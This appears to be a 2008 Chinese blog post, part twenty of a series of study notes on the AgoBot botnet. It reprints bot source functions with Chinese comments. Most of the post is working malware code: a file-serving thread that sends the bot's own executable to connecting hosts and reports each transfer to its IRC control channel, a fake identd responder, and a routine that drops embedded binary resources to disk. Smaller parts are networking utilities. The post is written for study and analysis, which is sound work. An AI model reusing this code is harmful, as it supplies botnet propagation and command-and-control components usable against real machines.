您的位置:首页 > 理论基础 > 计算机网络

AgoBot 僵尸网络研究笔记(二十)

2008-05-28 17:48 316 查看

二十、2008年04月18日


作者:青青子衿
email:anzijin@sina.com


1、char* GetFilename(char* szFilename, size_t sBufSize)函数,
在void *CSendFile::Run()函数中会被用到。

/*
This returns the filename of the executable in the filesystem
Win32: uses GetModuleFilename on the currently running module
Linux: uses /proc/<pid>/exe which is a like to the executable image
*/
/////////////////////////////////////////////////////////////////////
//
//函数功能:获得当前文件名称(包括路径)
//参数: char* szFilename 保存文件名的buffer
// size_t sBufSize 的长度
//返回值: 文件名
//
//////////////////////////////////////////////////////////////////////
char* GetFilename(char* szFilename, size_t sBufSize)
{
#ifdef WIN32
GetModuleFileName(GetModuleHandle(NULL), szFilename, sBufSize);
return szFilename;
#else
//linux平台现在不考虑
char szLinkname[64];
pid_t pSelf=getpid();
int iRet;
snprintf(szLinkname, sizeof(szLinkname), "/proc/%i/exe", pSelf);

iRet=readlink(szLinkname, szFilename, sBufSize);
if(iRet==-1)
{
return NULL;
}

if(iRet>=sBufSize)
{
errno=ERANGE;
return NULL;
}
szFilename[iRet]=0;
return szFilename;

#endif
}

2、void *CSendFile::Run() 函数
////////////////////////////////////////////////////////////////
//
//函数功能:类中具体实现发送文件的函数
//参数: 无
//返回值: void * 始终是NULL
//
//////////////////////////////////////////////////////////////////
void *CSendFile::Run()
{
int m_sListenSocket;
sockaddr_in m_lAddr;

int sClientSocket;
sockaddr_in cAddr;
socklen_t cAddrLen=sizeof(cAddr);
unsigned char fileBuf[4096];
FILE *fp=NULL;

memset(&m_lAddr, 0, sizeof(m_lAddr));
m_lAddr.sin_family=AF_INET;
m_lAddr.sin_addr.s_addr=INADDR_ANY;
m_lAddr.sin_port=htons(g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);

//创建套接字
m_sListenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(m_sListenSocket==SOCKET_ERROR)
{
g_cMainCtrl.m_lCanJoin.push_back(this); //将本线程,从线程堆栈中弹出
return NULL;
}
#ifdef DBGCONSOLE
//写入发送文件的日志
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Binding CSendFile to port %d./n", this, g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);
#endif

if(bind(m_sListenSocket, (sockaddr*)&m_lAddr, sizeof(m_lAddr))!=0)
{
//调用bind失败,关闭套接字
xClose(m_sListenSocket);
g_cMainCtrl.m_lCanJoin.push_back(this);
return NULL;
}

#ifdef DBGCONSOLE
//写入发送文件的日志
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Listening on port %d./n", this, g_cMainCtrl.m_cBot.bot_ftrans_port.iValue);
#endif

while(g_cMainCtrl.m_bRunning)
{
if(listen(m_sListenSocket, 10)==SOCKET_ERROR)
{
Sleep(250);
continue;
}

//调用accept接收函数,
sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen);

if(sClientSocket!=SOCKET_ERROR)
{
// Get the remote ip via getpeername
sockaddr sa;
socklen_t sas=sizeof(sa);
memset(&sa, 0, sizeof(sa));
getpeername(sClientSocket, &sa, &sas);//获取与套接口相连的本地端地址

// Break if the ip is 0.0.0.0
if(!(unsigned char)sa.sa_data[2])
{
//如果sa.sa_data[2]等于0,执行这里
continue;
}

//向bot控制端发送相应的bot运行状况信息
g_cMainCtrl.m_cIRC.SendFormat(false, false, g_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),
"CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#ifdef DBGCONSOLE
//将运行状况信息写入日志
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted./n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif

int count=4096;
CString sFileName;
GetFilename(sFileName.GetBuffer(4096), 4096); //获得文件名称
fp=fopen(sFileName.CStr(), "rb"); //打开该文件

if(fp)
{
#ifdef DBGCONSOLE
//写入日志
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Sending file.../n", this);
#endif
fseek(fp, 0, SEEK_END);
long filesize=ftell(fp); //获得文件的长度
fseek(fp, 0, SEEK_SET);

char *filesize1=(char*)&filesize; //将保存文件长度的内存地址保存到filesize1字符串指针中

char fsbuf[4];
fsbuf[4]='/0';

fsbuf[0]=(char)filesize1[0];
fsbuf[1]=(char)filesize1[1];
fsbuf[2]=(char)filesize1[2];
fsbuf[3]=(char)filesize1[3];
xWrite(sClientSocket, (char*)fsbuf, sizeof(long)); //将文件长度发送出去。

while(count==4096)
{
memset(fileBuf, 0, sizeof(fileBuf));
count=fread(fileBuf, sizeof(char), 4096, fp); //从文件中读取4096长度的内容。
if(ferror(fp))
{
//如果读取失败,跳出读文件的循环
break;
}
xWrite(sClientSocket, (char*)fileBuf, count); //将读取的文件内容发送出去。
}

//向bot的控制台返回相关信息。
g_cMainCtrl.m_cIRC.SendFormat(false, false, g_cMainCtrl.m_cBot.si_mainchan.sValue.Str(),
"CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);

#ifdef DBGCONSOLE
//写日志
g_cMainCtrl.m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished./n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
fclose(fp); //关闭文件指针
}
xClose(sClientSocket); //关闭accept函数创建的网络套接字
}
Sleep(2500); //程序休息2.5秒
}

xClose(m_sListenSocket); //关闭socket函数创建的套接字

return NULL;
}

3、int DoTcpBind(int iPort) 函数
/////////////////////////////////////////////////////////////////
//
//函数功能:负责TCP协议的bind操作
//参数: int iPort 端口号
//返回值: 套接字的值
//
////////////////////////////////////////////////////////////////////
int DoTcpBind(int iPort)
{
int sListenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //创建套接字
if(sListenSocket==INVALID_SOCKET)
{
//如果创建失败,程序返回SOCKET_ERROR。
return SOCKET_ERROR;
}

sockaddr_in ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(iPort);
ssin.sin_addr.s_addr=INADDR_ANY;
if(bind(sListenSocket, (sockaddr*)&ssin, sizeof(ssin))!=0)//调用bind函数。
{
xClose(sListenSocket);
return SOCKET_ERROR;
}
return sListenSocket; //返回创建的套接字
}

4、int DoTcpAccept(int sSocket) 函数
/////////////////////////////////////////////////////////////////
//
//函数功能:赋值TCP协议的Accept操作
//参数: int sSocket 创建的套接字
//返回值: 是有accept函数创建的新套接字
//
//
//////////////////////////////////////////////////////////////
int DoTcpAccept(int sSocket)
{
if(listen(sSocket, 10)==SOCKET_ERROR) //调用listen函数
{
return SOCKET_ERROR;
}

sockaddr_in cssin;
socklen_t clen=sizeof(cssin);
int sClientSocket=accept(sSocket, (sockaddr*)&cssin, &clen); //调用accept函数
if(sClientSocket==SOCKET_ERROR)
{
return SOCKET_ERROR;
}
return sClientSocket;
}

5、void *CIdentD::Run()函数

///////////////////////////////////////////////////////////////////////
//
//函数功能:发送以昵称为主的数据,具体功能还不清楚
//参数: 无
//返回值: void *
//
///////////////////////////////////////////////////////////////////////////
void *CIdentD::Run()
{
//和类的成员变量重复了,不可理解
int m_sListenSocket;
sockaddr_in m_lAddr;

int sClientSocket;
sockaddr_in cAddr;
socklen_t cAddrLen=sizeof(cAddr);

char ibuff[64];

memset(&m_lAddr, 0, sizeof(m_lAddr));
m_lAddr.sin_family=AF_INET;
m_lAddr.sin_addr.s_addr=INADDR_ANY;
m_lAddr.sin_port=htons(113); //端口113

m_sListenSocket=DoTcpBind(m_lAddr.sin_port); //调用bind函数返回套接字
if(m_sListenSocket==SOCKET_ERROR)
{
//如果创建套接字失败。
return false;
}

#ifdef DBGCONSOLE
//写日志信息
g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Binding IdentD to port 113./n", this);
#endif

if(bind(m_sListenSocket, (sockaddr*)&m_lAddr, sizeof(m_lAddr))!=0)
{
//bind函数调用失败
g_cMainCtrl.m_bIdentD_Running = false;
g_cMainCtrl.m_cIdentD.Kill(); //终止线程,那么这个函数在这里就应该结束了。
}

#ifdef DBGCONSOLE
//写入日志
g_cMainCtrl.m_cConsDbg.Log(5, "CIdentD(0x%8.8Xh): Listening on port 113./n", this);
#endif

g_cMainCtrl.m_bIdentD_Running = true; //表示正在运行CIndent

while(!g_cMainCtrl.m_cBot.m_bJoined)
{
if(listen(m_sListenSocket, 10)==SOCKET_ERROR)
{
//调用listern函数,失败后,休息2秒后,终止线程
Sleep(2000);
g_cMainCtrl.m_cIdentD.Kill();
}

sClientSocket=accept(m_sListenSocket, (sockaddr*)&cAddr, &cAddrLen); //调用accept函数
if(sClientSocket!=SOCKET_ERROR)
{
// Get the remote ip via getpeername
sockaddr sa;
socklen_t sas=sizeof(sa);
memset(&sa, 0, sizeof(sa));
getpeername(sClientSocket, &sa, &sas);//获得网络所连接的令一端的信息
// Break if the ip is 0.0.0.0
if(!(unsigned char)sa.sa_data[2])
{

continue;
}

#ifdef DBGCONSOLE
//写入日志
g_cMainCtrl.m_cConsDbg.Log(5, "IdentD: Connection from %d.%d.%d.%d accepted./n", this, /
(unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], /
(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif

srand(GetCycleCount()); //初始化一个随机数生成器

memset(ibuff, 0, sizeof(ibuff)); //ibuff清空
sprintf(ibuff, "%d, %d : USERID : UNIX : %s/r/n", rand()%6000+1, 113, RndNick(g_cMainCtrl.m_cBot.si_nickprefix.sValue.CStr())); // build ident reply
xWrite(sClientSocket, (char*)ibuff, sizeof(ibuff)); //发送数据 // send file

xClose(sClientSocket);
}
Sleep(2500);
xClose(m_sListenSocket);
g_cMainCtrl.m_bIdentD_Running = false;
g_cMainCtrl.m_cIdentD.Kill();
}

xClose(m_sListenSocket);

return NULL;
}

6、bool WriteFile(const char *filename, int resnum, LPCTSTR lpModuleName) 函数
//////////////////////////////////////////////////////////////////////////////////
//
//函数功能:将资源中的信息,写到文件中
//参数: const char *filename 文件名称
// int resnum 资源的名称,对应的标识,该对应关系在资源表中
// LPCTSTR lpModuleName 包含资源的模块的名称
//返回值: bool 调用成功返回true,否则返回false
//
/////////////////////////////////////////////////////////////////////////////////////
bool WriteFile(const char *filename, int resnum, LPCTSTR lpModuleName)
{
FILE *fp=fopen(filename, "wb");
if(!fp)
{
return false;
}

HMODULE hMod=GetModuleHandle(lpModuleName);
if(!hMod)
{
return false;
}

HRSRC hBinary=FindResource(hMod, MAKEINTRESOURCE(resnum), TEXT("BINRES"));
if(!hBinary)
{
return false;
}

HGLOBAL hGbDesc=LoadResource(hMod, hBinary);
DWORD dwSize=SizeofResource(hMod, hBinary);
PBYTE pData=(unsigned char*)LockResource(hGbDesc);

fwrite(pData, sizeof(unsigned char), dwSize, fp);
fclose(fp);
UnlockResource(hBinary);
return true;
}

7、unsigned long ResolveAddress(const char *szHost) 函数
/*
This turns a numeric ip or hostname into an unsigned long
*/
//////////////////////////////////////////////////////////////
//
//函数功能:将主机名或是字符串形式的IP地址转换成DWORD形式的IP地址,
//参数: const char *szHost 保存主机名或IP的字符串
//返回值: IP地址
//
//////////////////////////////////////////////////////////////////////////
unsigned long ResolveAddress(const char *szHost)
{
unsigned long lAddr=inet_addr(szHost);
if(lAddr==INADDR_NONE)
{
hostent *pHE=gethostbyname(szHost);
if(!pHE)
{
return INADDR_NONE;
}
lAddr=*((unsigned long*)pHE->h_addr_list[0]);
}
return lAddr;
}

8、unsigned short checksum(unsigned short *buffer, int size) 函数
/*
This calculates a TCP/IP checksum
*/
//////////////////////////////////////////////////////////
//
//函数功能:计算IP协议的校验和
//参数: unsigned short *buffer 保存数据包的buffer
// int size buffer的长度
//返回值: 最终计算出来的校验值
//
//////////////////////////////////////////////////////////
unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=2;
}
if(size)
{
cksum+=*(unsigned char*)buffer;
}

cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return(unsigned short)(~cksum);
}

9、in_addr &to_in_addr(unsigned long lHost) 函数
/*
This returns a static in_addr with a host assigned
*/
////////////////////////////////////////////////////////////
//
//函数功能:将IP地址写入in_addr结构体
//参数: unsigned long lHost dword类型的IP地址
//返回值: in_addr 类型的引用
//
///////////////////////////////////////////////////////////
in_addr &to_in_addr(unsigned long lHost)
{
static in_addr ina;
ina.s_addr=lHost;
return ina;
}

10、int GetFileSize(FILE *fp) 函数
///////////////////////////////////////////////////////
//
//函数功能:获得文件长度
//参数: FILE *fp 文件指针
//返回值: int 文件的长度
//
////////////////////////////////////////////////////////
int GetFileSize(FILE *fp)
{
long lLastPos=ftell(fp);
fseek(fp, 0, SEEK_END);
long lFileSize=ftell(fp);
fseek(fp, lLastPos, SEEK_SET);
return (int)lFileSize;
}

11、bool ParseURL(const char *szURL, url *pURL) 函数
/*
This breaks an URL to pieces, and stores them in pURL
*/
//////////////////////////////////////////////////////////////
//
//函数功能:解析URL字符串
//参数: const char *szURL url字符串
// url *pURL 保存解析结果的url类型
//返回值: bool 调用成功返回true,否则返回false
//
/////////////////////////////////////////////////////////////////
bool ParseURL(const char *szURL, url *pURL)
{
if(!szURL)
{
return false;
}

CString sURL;
sURL.Assign(szURL);
// Get the protocol (ie. http), and check if its a supported protocol
pURL->sProto.Assign(sURL.Token(0, ":")); //提取字符串冒号前的协议名称

if(pURL->sProto.Compare("http") && pURL->sProto.Compare("ftp"))
{
//如果协议名称既不是http也不是ftp,则函数返回。
return false;
}

// Get the hostname and check if it isnt empty
//sURL.Token(1, "/").Token(0, ":")关注这句的调用是右优先级高,先找“:”字符,再找“/”
pURL->sHost.Assign(sURL.Token(1, "/").Token(0, ":"));
if(!pURL->sHost.Compare(""))
{
//提取的字符串是否是null
return false;
}

// Get the port and check if it isnt null 获得端口
pURL->iPort=atoi(sURL.Token(1, "/").Token(1, ":").CStr());
//如果字符串中没有端口,那么端口为默认端口80
if(!pURL->iPort)
{
pURL->iPort=80;
}

// Get the request for the server 推测是获取后便的参数,在这里静态的分析,不如以后调试一下更有效
CString sReq=sURL.Mid(sURL.Find("/"));
sReq=sReq.Mid(sReq.Find("/"));
sReq=sReq.Mid(sReq.Find("/"));
pURL->sReq.Assign("/");
pURL->sReq.Append(sReq.Token(0, " "));
return true;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: